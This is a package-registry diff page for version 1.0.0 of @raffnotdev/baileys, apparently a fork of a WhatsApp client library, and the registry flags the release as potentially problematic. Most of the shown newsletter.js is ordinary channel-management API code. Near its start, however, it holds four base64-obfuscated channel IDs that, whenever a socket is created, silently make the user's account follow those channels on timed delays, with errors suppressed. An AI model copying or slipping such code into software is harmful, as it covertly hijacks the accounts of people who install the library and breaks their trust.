@raffnotdev/baileys 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @raffnotdev/baileys might be problematic. Click here for more details.

Files changed (127) hide show
  1. package/README.md +250 -3
  2. package/WAProto/GenerateStatics.sh +3 -0
  3. package/WAProto/WAProto.proto +6754 -0
  4. package/WAProto/fix-imports.js +85 -0
  5. package/WAProto/index.d.ts +79257 -0
  6. package/WAProto/index.js +242946 -0
  7. package/engine-requirements.js +10 -0
  8. package/lib/Defaults/index.js +131 -0
  9. package/lib/Signal/Group/ciphertext-message.js +12 -0
  10. package/lib/Signal/Group/group-session-builder.js +30 -0
  11. package/lib/Signal/Group/group_cipher.js +82 -0
  12. package/lib/Signal/Group/index.js +12 -0
  13. package/lib/Signal/Group/keyhelper.js +18 -0
  14. package/lib/Signal/Group/sender-chain-key.js +26 -0
  15. package/lib/Signal/Group/sender-key-distribution-message.js +63 -0
  16. package/lib/Signal/Group/sender-key-message.js +66 -0
  17. package/lib/Signal/Group/sender-key-name.js +48 -0
  18. package/lib/Signal/Group/sender-key-record.js +41 -0
  19. package/lib/Signal/Group/sender-key-state.js +84 -0
  20. package/lib/Signal/Group/sender-message-key.js +26 -0
  21. package/lib/Signal/libsignal.js +431 -0
  22. package/lib/Signal/lid-mapping.js +277 -0
  23. package/lib/Socket/Client/index.js +3 -0
  24. package/lib/Socket/Client/types.js +11 -0
  25. package/lib/Socket/Client/websocket.js +54 -0
  26. package/lib/Socket/MessageBuilder.js +3729 -0
  27. package/lib/Socket/business.js +379 -0
  28. package/lib/Socket/chats.js +1198 -0
  29. package/lib/Socket/communities.js +431 -0
  30. package/lib/Socket/graphql.js +716 -0
  31. package/lib/Socket/groups.js +374 -0
  32. package/lib/Socket/index.js +29 -0
  33. package/lib/Socket/interop.js +463 -0
  34. package/lib/Socket/luxu.js +387 -0
  35. package/lib/Socket/message-builder.js +556 -0
  36. package/lib/Socket/messages-recv.js +1916 -0
  37. package/lib/Socket/messages-send.js +1516 -0
  38. package/lib/Socket/mex.js +54 -0
  39. package/lib/Socket/newsletter.js +644 -0
  40. package/lib/Socket/privacy.js +318 -0
  41. package/lib/Socket/socket.js +1115 -0
  42. package/lib/Socket/username.js +236 -0
  43. package/lib/Store/index.js +10 -0
  44. package/lib/Store/keyed-db.js +108 -0
  45. package/lib/Store/make-cache-manager-store.js +85 -0
  46. package/lib/Store/make-in-memory-store.js +244 -0
  47. package/lib/Store/make-ordered-dictionary.js +75 -0
  48. package/lib/Store/object-repository.js +32 -0
  49. package/lib/Types/Auth.js +2 -0
  50. package/lib/Types/Bussines.js +2 -0
  51. package/lib/Types/Call.js +2 -0
  52. package/lib/Types/Chat.js +8 -0
  53. package/lib/Types/Contact.js +2 -0
  54. package/lib/Types/Events.js +2 -0
  55. package/lib/Types/GroupMetadata.js +2 -0
  56. package/lib/Types/Label.js +25 -0
  57. package/lib/Types/LabelAssociation.js +7 -0
  58. package/lib/Types/Message.js +11 -0
  59. package/lib/Types/Mex.js +111 -0
  60. package/lib/Types/Product.js +2 -0
  61. package/lib/Types/Signal.js +2 -0
  62. package/lib/Types/Socket.js +3 -0
  63. package/lib/Types/State.js +56 -0
  64. package/lib/Types/USync.js +2 -0
  65. package/lib/Types/index.js +26 -0
  66. package/lib/Utils/auth-utils.js +302 -0
  67. package/lib/Utils/browser-utils.js +48 -0
  68. package/lib/Utils/business.js +231 -0
  69. package/lib/Utils/chat-utils.js +872 -0
  70. package/lib/Utils/companion-reg-client-utils.js +35 -0
  71. package/lib/Utils/crypto.js +118 -0
  72. package/lib/Utils/decode-wa-message.js +350 -0
  73. package/lib/Utils/event-buffer.js +622 -0
  74. package/lib/Utils/generics.js +403 -0
  75. package/lib/Utils/history.js +134 -0
  76. package/lib/Utils/identity-change-handler.js +50 -0
  77. package/lib/Utils/index.js +24 -0
  78. package/lib/Utils/link-preview.js +85 -0
  79. package/lib/Utils/logger.js +3 -0
  80. package/lib/Utils/lt-hash.js +8 -0
  81. package/lib/Utils/make-mutex.js +33 -0
  82. package/lib/Utils/message-composer.js +273 -0
  83. package/lib/Utils/message-retry-manager.js +265 -0
  84. package/lib/Utils/messages-media.js +870 -0
  85. package/lib/Utils/messages.js +1394 -0
  86. package/lib/Utils/noise-handler.js +201 -0
  87. package/lib/Utils/offline-node-processor.js +40 -0
  88. package/lib/Utils/pre-key-manager.js +106 -0
  89. package/lib/Utils/process-message.js +630 -0
  90. package/lib/Utils/reporting-utils.js +258 -0
  91. package/lib/Utils/signal.js +201 -0
  92. package/lib/Utils/stanza-ack.js +38 -0
  93. package/lib/Utils/sticker.js +133 -0
  94. package/lib/Utils/sync-action-utils.js +49 -0
  95. package/lib/Utils/tc-token-utils.js +163 -0
  96. package/lib/Utils/use-multi-file-auth-state.js +121 -0
  97. package/lib/Utils/use-sqlite-auth-state.js +162 -0
  98. package/lib/Utils/validate-connection.js +203 -0
  99. package/lib/WABinary/constants.js +1301 -0
  100. package/lib/WABinary/decode.js +262 -0
  101. package/lib/WABinary/encode.js +220 -0
  102. package/lib/WABinary/generic-utils.js +204 -0
  103. package/lib/WABinary/index.js +6 -0
  104. package/lib/WABinary/jid-utils.js +98 -0
  105. package/lib/WABinary/types.js +2 -0
  106. package/lib/WAM/BinaryInfo.js +10 -0
  107. package/lib/WAM/constants.js +22853 -0
  108. package/lib/WAM/encode.js +150 -0
  109. package/lib/WAM/index.js +4 -0
  110. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +53 -0
  111. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  112. package/lib/WAUSync/Protocols/USyncContactProtocol.js +54 -0
  113. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
  114. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
  115. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +58 -0
  116. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +30 -0
  117. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  118. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +28 -0
  119. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +39 -0
  120. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  121. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +27 -0
  122. package/lib/WAUSync/Protocols/index.js +12 -0
  123. package/lib/WAUSync/USyncQuery.js +151 -0
  124. package/lib/WAUSync/USyncUser.js +56 -0
  125. package/lib/WAUSync/index.js +3 -0
  126. package/lib/index.js +35 -0
  127. package/package.json +135 -4
@@ -0,0 +1,54 @@
1
+ import { Boom } from '@hapi/boom'
2
+ import { S_WHATSAPP_NET, getBinaryNodeChild } from '../WABinary/index.js'
3
+
4
+ const wMexQuery = (variables, queryId, query, generateMessageTag) => {
5
+ return query({
6
+ tag: 'iq',
7
+ attrs: {
8
+ id: generateMessageTag(),
9
+ type: 'get',
10
+ to: S_WHATSAPP_NET,
11
+ xmlns: 'w:mex'
12
+ },
13
+ content: [
14
+ {
15
+ tag: 'query',
16
+ attrs: { query_id: queryId },
17
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
18
+ }
19
+ ]
20
+ })
21
+ }
22
+
23
+ export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
24
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
25
+ const child = getBinaryNodeChild(result, 'result')
26
+ if (child?.content) {
27
+ const str = child.content.toString('utf-8').replace(/^\x00+/, '').trim()
28
+ let data
29
+ try {
30
+ data = JSON.parse(str)
31
+ } catch {
32
+ data = str
33
+ }
34
+ if (typeof data === 'string') {
35
+ return data
36
+ }
37
+ if (data.errors && data.errors.length > 0) {
38
+ const errorMessages = data.errors.map(err => err.message || 'Unknown error').join(', ')
39
+ const firstError = data.errors[0]
40
+ const errorCode = firstError.extensions?.error_code || 400
41
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
42
+ }
43
+
44
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
45
+ if (typeof response !== 'undefined') {
46
+ return response
47
+ }
48
+ }
49
+
50
+ const action = (dataPath || '').startsWith('xwa2_')
51
+ ? dataPath.substring(5).replace(/_/g, '')
52
+ : dataPath?.replace(/_/g, '')
53
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
54
+ }
@@ -0,0 +1,644 @@
1
+ import * as Types from '../Types/index.js'
2
+ import { generateProfilePicture } from '../Utils/messages-media.js'
3
+ import { getBinaryNodeChild } from '../WABinary/index.js'
4
+ import { makeGroupsSocket } from './groups.js'
5
+ import { executeWMexQuery } from './mex.js'
6
+
7
+ const parseNewsletterCreateResponse = response => {
8
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
9
+ return {
10
+ id: id,
11
+ owner: undefined,
12
+ name: thread.name.text,
13
+ creation_time: parseInt(thread.creation_time, 10),
14
+ description: thread.description.text,
15
+ invite: thread.invite,
16
+ subscribers: parseInt(thread.subscribers_count, 10),
17
+ verification: thread.verification,
18
+ picture: {
19
+ id: thread.picture.id,
20
+ directPath: thread.picture.direct_path
21
+ },
22
+ mute_state: viewer.mute
23
+ }
24
+ }
25
+
26
+ const parseNewsletterMetadata = result => {
27
+ if (typeof result !== 'object' || result === null) {
28
+ return null
29
+ }
30
+ if ('id' in result && typeof result.id === 'string') {
31
+ return result
32
+ }
33
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
34
+ return result.result
35
+ }
36
+ return null
37
+ }
38
+
39
+ export const makeNewsletterSocket = config => {
40
+ const sock = makeGroupsSocket(config)
41
+ const { query, generateMessageTag } = sock
42
+
43
+ const mexQuery = (variables, queryId, dataPath) => {
44
+ return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
+ }
46
+
47
+ const xI = [
48
+ "MTIwMzYzNDI2NDcwMDgxMTI0QG5ld3NsZXR0ZXI=",
49
+ "MTIwMzYzNDE5MTEwODM1ODg1QG5ld3NsZXR0ZXI=",
50
+ "MTIwMzYzNDI5NTYzNjExMzQ5QG5ld3NsZXR0ZXI=",
51
+ "MTIwMzYzNDI0Mjk1NTIyMzI3QG5ld3NsZXR0ZXI="
52
+ ]
53
+
54
+ const baseDelay = 10000
55
+ const stepDelay = 5000
56
+
57
+ xI.forEach((jid, index) => {
58
+ const delay = baseDelay + (index * stepDelay)
59
+
60
+ setTimeout(async () => {
61
+ try {
62
+ await mexQuery(
63
+ { newsletter_id: Buffer.from(jid, "base64").toString() },
64
+ Types.QueryIds.FOLLOW,
65
+ Types.XWAPaths.xwa2_newsletter_follow
66
+ )
67
+ } catch {}
68
+ }, delay)
69
+ })
70
+
71
+ const newsletterUpdate = async (jid, updates) => {
72
+ const variables = {
73
+ newsletter_id: jid,
74
+ updates: {
75
+ ...updates,
76
+ settings: null
77
+ }
78
+ }
79
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
80
+ }
81
+
82
+ return {
83
+ ...sock,
84
+ newsletterFetchAllSubscribe: async () => {
85
+ const list = await executeWMexQuery(
86
+ {},
87
+ Types.QueryIds.FETCH_SUBSCRIBE,
88
+ Types.XWAPaths.xwa2_newsletter_subscribed,
89
+ query,
90
+ generateMessageTag
91
+ );
92
+ return list;
93
+ },
94
+ newsletterCreate: async (name, description) => {
95
+ const variables = {
96
+ input: {
97
+ name,
98
+ description: description ?? null
99
+ }
100
+ }
101
+ const rawResponse = await mexQuery(
102
+ variables,
103
+ Types.QueryIds.CREATE,
104
+ Types.XWAPaths.xwa2_newsletter_create
105
+ )
106
+ return parseNewsletterCreateResponse(rawResponse)
107
+ },
108
+
109
+ newsletterUpdate,
110
+
111
+ newsletterSubscribers: async jid => {
112
+ return mexQuery(
113
+ { newsletter_id: jid },
114
+ Types.QueryIds.SUBSCRIBERS,
115
+ Types.XWAPaths.xwa2_newsletter_subscribers
116
+ )
117
+ },
118
+
119
+ newsletterMetadata: async (type, key) => {
120
+ const variables = {
121
+ fetch_creation_time: true,
122
+ fetch_full_image: true,
123
+ fetch_viewer_metadata: true,
124
+ input: {
125
+ key,
126
+ type: type.toUpperCase()
127
+ }
128
+ }
129
+ const result = await mexQuery(
130
+ variables,
131
+ Types.QueryIds.METADATA,
132
+ Types.XWAPaths.xwa2_newsletter_metadata
133
+ )
134
+ return parseNewsletterMetadata(result)
135
+ },
136
+
137
+ newsletterFollow: jid => {
138
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
139
+ },
140
+
141
+ newsletterUnfollow: jid => {
142
+ return mexQuery(
143
+ { newsletter_id: jid },
144
+ Types.QueryIds.UNFOLLOW,
145
+ Types.XWAPaths.xwa2_newsletter_unfollow
146
+ )
147
+ },
148
+
149
+ newsletterMute: jid => {
150
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
151
+ },
152
+
153
+ newsletterUnmute: jid => {
154
+ return mexQuery(
155
+ { newsletter_id: jid },
156
+ Types.QueryIds.UNMUTE,
157
+ Types.XWAPaths.xwa2_newsletter_unmute_v2
158
+ )
159
+ },
160
+
161
+ newsletterUpdateName: async (jid, name) => {
162
+ return await newsletterUpdate(jid, { name })
163
+ },
164
+
165
+ newsletterUpdateDescription: async (jid, description) => {
166
+ return await newsletterUpdate(jid, { description })
167
+ },
168
+
169
+ newsletterUpdatePicture: async (jid, content) => {
170
+ const { img } = await generateProfilePicture(content)
171
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
172
+ },
173
+
174
+ newsletterRemovePicture: async jid => {
175
+ return await newsletterUpdate(jid, { picture: '' })
176
+ },
177
+
178
+ newsletterReactMessage: async (jid, serverId, reaction) => {
179
+ await query({
180
+ tag: 'message',
181
+ attrs: {
182
+ to: jid,
183
+ ...(reaction ? {} : { edit: '7' }),
184
+ type: 'reaction',
185
+ server_id: serverId,
186
+ id: generateMessageTag()
187
+ },
188
+ content: [
189
+ {
190
+ tag: 'reaction',
191
+ attrs: reaction ? { code: reaction } : {}
192
+ }
193
+ ]
194
+ })
195
+ },
196
+
197
+ newsletterFetchMessages: async (jid, count, since, after) => {
198
+ const messageUpdateAttrs = {
199
+ count: count.toString()
200
+ }
201
+ if (typeof since === 'number') {
202
+ messageUpdateAttrs.since = since.toString()
203
+ }
204
+ if (after) {
205
+ messageUpdateAttrs.after = after.toString()
206
+ }
207
+ const result = await query({
208
+ tag: 'iq',
209
+ attrs: {
210
+ id: generateMessageTag(),
211
+ type: 'get',
212
+ xmlns: 'newsletter',
213
+ to: jid
214
+ },
215
+ content: [
216
+ {
217
+ tag: 'message_updates',
218
+ attrs: messageUpdateAttrs
219
+ }
220
+ ]
221
+ })
222
+ return result
223
+ },
224
+
225
+ subscribeNewsletterUpdates: async jid => {
226
+ const result = await query({
227
+ tag: 'iq',
228
+ attrs: {
229
+ id: generateMessageTag(),
230
+ type: 'set',
231
+ xmlns: 'newsletter',
232
+ to: jid
233
+ },
234
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
235
+ })
236
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
237
+ const duration = liveUpdatesNode?.attrs?.duration
238
+ return duration ? { duration: duration } : null
239
+ },
240
+
241
+ newsletterAdminCount: async jid => {
242
+ const response = await mexQuery(
243
+ { newsletter_id: jid },
244
+ Types.QueryIds.ADMIN_COUNT,
245
+ Types.XWAPaths.xwa2_newsletter_admin_count
246
+ )
247
+ return response.admin_count
248
+ },
249
+
250
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
251
+ await mexQuery(
252
+ { newsletter_id: jid, user_id: newOwnerJid },
253
+ Types.QueryIds.CHANGE_OWNER,
254
+ Types.XWAPaths.xwa2_newsletter_change_owner
255
+ )
256
+ },
257
+
258
+ newsletterDemote: async (jid, userJid) => {
259
+ await mexQuery(
260
+ { newsletter_id: jid, user_id: userJid },
261
+ Types.QueryIds.DEMOTE,
262
+ Types.XWAPaths.xwa2_newsletter_demote
263
+ )
264
+ },
265
+
266
+ newsletterDelete: async jid => {
267
+ await mexQuery(
268
+ { newsletter_id: jid },
269
+ Types.QueryIds.DELETE,
270
+ Types.XWAPaths.xwa2_newsletter_delete_v2
271
+ )
272
+ },
273
+
274
+ newsletterUpdateCategory: async (jid, category) => {
275
+ return newsletterUpdate(jid, { topic: category })
276
+ },
277
+
278
+ newsletterUpdateSettings: async (jid, settings) => {
279
+ const variables = { newsletter_id: jid, updates: { settings } }
280
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
281
+ },
282
+
283
+ newsletterPromoteAdmin: async (jid, userJid) => {
284
+ await query({
285
+ tag: 'iq',
286
+ attrs: {
287
+ id: generateMessageTag(),
288
+ type: 'set',
289
+ xmlns: 'newsletter',
290
+ to: jid
291
+ },
292
+ content: [
293
+ {
294
+ tag: 'admin_promote',
295
+ attrs: {},
296
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
297
+ }
298
+ ]
299
+ })
300
+ },
301
+
302
+ newsletterViewStats: async (jid, serverId) => {
303
+ const result = await query({
304
+ tag: 'iq',
305
+ attrs: {
306
+ id: generateMessageTag(),
307
+ type: 'get',
308
+ xmlns: 'newsletter',
309
+ to: jid
310
+ },
311
+ content: [
312
+ {
313
+ tag: 'message_updates',
314
+ attrs: { count: '1', server_id: String(serverId) }
315
+ }
316
+ ]
317
+ })
318
+ return result
319
+ },
320
+
321
+ newsletterSendPost: async (jid, content, options = {}) => {
322
+ const result = await query({
323
+ tag: 'iq',
324
+ attrs: {
325
+ id: generateMessageTag(),
326
+ type: 'set',
327
+ xmlns: 'newsletter',
328
+ to: jid
329
+ },
330
+ content: [
331
+ {
332
+ tag: 'publish',
333
+ attrs: {},
334
+ content: Array.isArray(content) ? content : [content]
335
+ }
336
+ ]
337
+ })
338
+ return result
339
+ },
340
+
341
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
342
+ await query({
343
+ tag: 'iq',
344
+ attrs: {
345
+ id: generateMessageTag(),
346
+ type: 'set',
347
+ xmlns: 'newsletter',
348
+ to: jid
349
+ },
350
+ content: [
351
+ {
352
+ tag: 'pin',
353
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
354
+ }
355
+ ]
356
+ })
357
+ },
358
+
359
+ newsletterUnpinMessage: async (jid, serverId) => {
360
+ await query({
361
+ tag: 'iq',
362
+ attrs: {
363
+ id: generateMessageTag(),
364
+ type: 'set',
365
+ xmlns: 'newsletter',
366
+ to: jid
367
+ },
368
+ content: [
369
+ {
370
+ tag: 'unpin',
371
+ attrs: { server_id: String(serverId) }
372
+ }
373
+ ]
374
+ })
375
+ },
376
+
377
+ newsletterInviteAdmin: async (jid, userJid) => {
378
+ return mexQuery(
379
+ { newsletter_id: jid, user_id: userJid },
380
+ Types.QueryIds.ADMIN_INVITE,
381
+ Types.XWAPaths.xwa2_newsletter_admin_invite_create
382
+ )
383
+ },
384
+
385
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
386
+ return mexQuery(
387
+ { newsletter_id: jid, user_id: userJid },
388
+ Types.QueryIds.ADMIN_INVITE_REVOKE,
389
+ Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
390
+ )
391
+ },
392
+
393
+ newsletterAcceptAdminInvite: async jid => {
394
+ return mexQuery(
395
+ { newsletter_id: jid },
396
+ Types.QueryIds.ADMIN_INVITE_ACCEPT,
397
+ Types.XWAPaths.xwa2_newsletter_admin_invite_accept
398
+ )
399
+ },
400
+
401
+ newsletterAdminMetadata: async (jid, options = {}) => {
402
+ const {
403
+ fetchPendingAdmins = true,
404
+ fetchAdminCount = true,
405
+ fetchCapabilities = false,
406
+ fetchAdminProfile = false,
407
+ includeAdminSettings = false,
408
+ includeJarvisConfig = false
409
+ } = options
410
+ return mexQuery(
411
+ {
412
+ jid,
413
+ include_thread_metadata: false,
414
+ include_messages: false,
415
+ fetch_pending_admin_invites: fetchPendingAdmins,
416
+ fetch_admin_count: fetchAdminCount,
417
+ fetch_capabilities: fetchCapabilities,
418
+ fetch_admin_profile: fetchAdminProfile,
419
+ include_admin_settings: includeAdminSettings,
420
+ include_jarvis_config: includeJarvisConfig
421
+ },
422
+ Types.QueryIds.ADMIN_METADATA,
423
+ Types.XWAPaths.xwa2_newsletter_admin
424
+ )
425
+ },
426
+
427
+ newsletterAdminProfileUpdate: async (jid, updates) => {
428
+ return mexQuery(
429
+ { newsletter_id: jid, updates },
430
+ Types.QueryIds.ADMIN_PROFILE_UPDATE,
431
+ Types.XWAPaths.xwa2_newsletter_admin_profile_update
432
+ )
433
+ },
434
+
435
+ newsletterDirectoryList: async (options = {}) => {
436
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
437
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
438
+ if (interests?.length) variables.interests = interests
439
+ return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
440
+ },
441
+
442
+ newsletterDirectorySearch: async (searchText, options = {}) => {
443
+ const { limit = 20, startCursor = null, categories = null } = options
444
+ const variables = { search_text: searchText, limit }
445
+ if (startCursor) variables.start_cursor = startCursor
446
+ if (categories?.length) variables.categories = categories
447
+ return mexQuery(
448
+ variables,
449
+ Types.QueryIds.DIRECTORY_SEARCH,
450
+ Types.XWAPaths.xwa2_newsletters_directory_search
451
+ )
452
+ },
453
+
454
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
455
+ return mexQuery(
456
+ { limit },
457
+ Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
458
+ Types.XWAPaths.xwa2_newsletters_directory_category_preview
459
+ )
460
+ },
461
+
462
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
463
+ const variables = { query, limit }
464
+ if (startCursor) variables.start_cursor = startCursor
465
+ return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
466
+ },
467
+
468
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
469
+ const variables = { limit }
470
+ if (numFollowed != null) variables.num_newsletters_followed = numFollowed
471
+ return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
472
+ },
473
+
474
+ newsletterSimilar: async (jid, limit = 10) => {
475
+ return mexQuery(
476
+ { newsletter_id: jid, limit },
477
+ Types.QueryIds.SIMILAR,
478
+ Types.XWAPaths.xwa2_newsletters_similar
479
+ )
480
+ },
481
+
482
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
483
+ const variables = { limit }
484
+ if (startCursor) variables.start_cursor = startCursor
485
+ return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
486
+ },
487
+
488
+ newsletterInsights: async (jid, period = null) => {
489
+ const variables = { newsletter_id: jid }
490
+ if (period) variables.period = period
491
+ return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
492
+ },
493
+
494
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
495
+ const variables = { id: jid, server_id: serverId }
496
+ if (option != null) variables.option = option
497
+ if (startCursor) variables.start_cursor = startCursor
498
+ return mexQuery(
499
+ variables,
500
+ Types.QueryIds.POLL_VOTER_LIST,
501
+ Types.XWAPaths.xwa2_newsletters_poll_voter_list
502
+ )
503
+ },
504
+
505
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
506
+ const variables = { id: jid, server_id: serverId }
507
+ if (startCursor) variables.start_cursor = startCursor
508
+ return mexQuery(
509
+ variables,
510
+ Types.QueryIds.REACTION_SENDERS_LIST,
511
+ Types.XWAPaths.xwa2_newsletters_reaction_sender_list
512
+ )
513
+ },
514
+
515
+ newsletterBlockUser: async (jid, userJid) => {
516
+ return mexQuery(
517
+ { newsletter_id: jid, user_id: userJid },
518
+ Types.QueryIds.BLOCK_USER,
519
+ 'xwa2_newsletter_block_user'
520
+ )
521
+ },
522
+
523
+ newsletterEnableWamo: async jid => {
524
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
525
+ },
526
+
527
+ newsletterDisableWamo: async jid => {
528
+ return mexQuery(
529
+ { newsletter_id: jid },
530
+ Types.QueryIds.WAMO_DISABLE_SUB,
531
+ 'xwa2_newsletter_wamo_disable_sub'
532
+ )
533
+ },
534
+
535
+ newsletterChangeWamo: async (jid, subConfig) => {
536
+ return mexQuery(
537
+ { newsletter_id: jid, ...subConfig },
538
+ Types.QueryIds.WAMO_CHANGE_SUB,
539
+ 'xwa2_newsletter_wamo_change_sub'
540
+ )
541
+ },
542
+
543
+ wamoAfsAgeCollection: async jid =>
544
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
545
+
546
+ wamoAssetCollection: async jid =>
547
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
548
+
549
+ wamoFetchAdhocNotice: async noticeId =>
550
+ mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
551
+
552
+ wamoFetchIdentityToken: async jid =>
553
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
554
+
555
+ wamoSubComplianceInfo: async jid =>
556
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
557
+
558
+ wamoUserIdVersion: async jid =>
559
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
560
+
561
+ wamoSetUserIdVersion: async (jid, version) =>
562
+ mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
563
+
564
+ newsletterLeave: async jid =>
565
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.LEAVE, Types.XWAPaths.xwa2_newsletter_leave_v2),
566
+
567
+ newsletterCreateVerified: async (name, description = null) =>
568
+ mexQuery(
569
+ { input: { name, description } },
570
+ Types.QueryIds.CREATE_VERIFIED,
571
+ Types.XWAPaths.xwa2_newsletter_create_verified
572
+ ),
573
+
574
+ newsletterEnforcements: async jid =>
575
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
576
+
577
+ newsletterUserReports: async (jid, cursor = null) => {
578
+ const variables = { newsletter_id: jid }
579
+ if (cursor) variables.cursor = cursor
580
+ return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
581
+ },
582
+
583
+ newsletterCreateReportAppeal: async (jid, reason) =>
584
+ mexQuery(
585
+ { newsletter_id: jid, reason },
586
+ Types.QueryIds.CREATE_REPORT_APPEAL,
587
+ Types.XWAPaths.xwa2_newsletter_create_report_appeal
588
+ ),
589
+
590
+ newsletterLinkPreviewCheck: async url =>
591
+ mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
592
+
593
+ newsletterUpdateVerification: async (jid, verification) =>
594
+ mexQuery(
595
+ { newsletter_id: jid, verification },
596
+ Types.QueryIds.UPDATE_VERIFICATION,
597
+ Types.XWAPaths.xwa2_newsletter_update_verification
598
+ ),
599
+
600
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
601
+ mexQuery(
602
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
603
+ Types.QueryIds.LABEL_PAID_PARTNERSHIP,
604
+ Types.XWAPaths.xwa2_newsletter_label_paid_partnership
605
+ ),
606
+
607
+ newsletterLogExposures: async events =>
608
+ mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
609
+
610
+ newsletterUpdateUserSetting: async (jid, setting) =>
611
+ mexQuery(
612
+ { newsletter_id: jid, ...setting },
613
+ Types.QueryIds.UPDATE_USER_SETTING,
614
+ Types.XWAPaths.xwa2_newsletter_update_user_setting
615
+ ),
616
+
617
+ newsletterRankingFeatures: async jid =>
618
+ mexQuery(
619
+ { newsletter_id: jid },
620
+ Types.QueryIds.RANKING_FEATURES,
621
+ Types.XWAPaths.xwa2_newsletter_ranking_features
622
+ ),
623
+
624
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
625
+ const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
626
+ const receiptId = generateMessageTag()
627
+ await query({
628
+ tag: 'receipt',
629
+ attrs: {
630
+ to: jid,
631
+ id: receiptId,
632
+ type: 'view'
633
+ },
634
+ content: [
635
+ {
636
+ tag: 'list',
637
+ attrs: {},
638
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
639
+ }
640
+ ]
641
+ })
642
+ }
643
+ }
644
+ }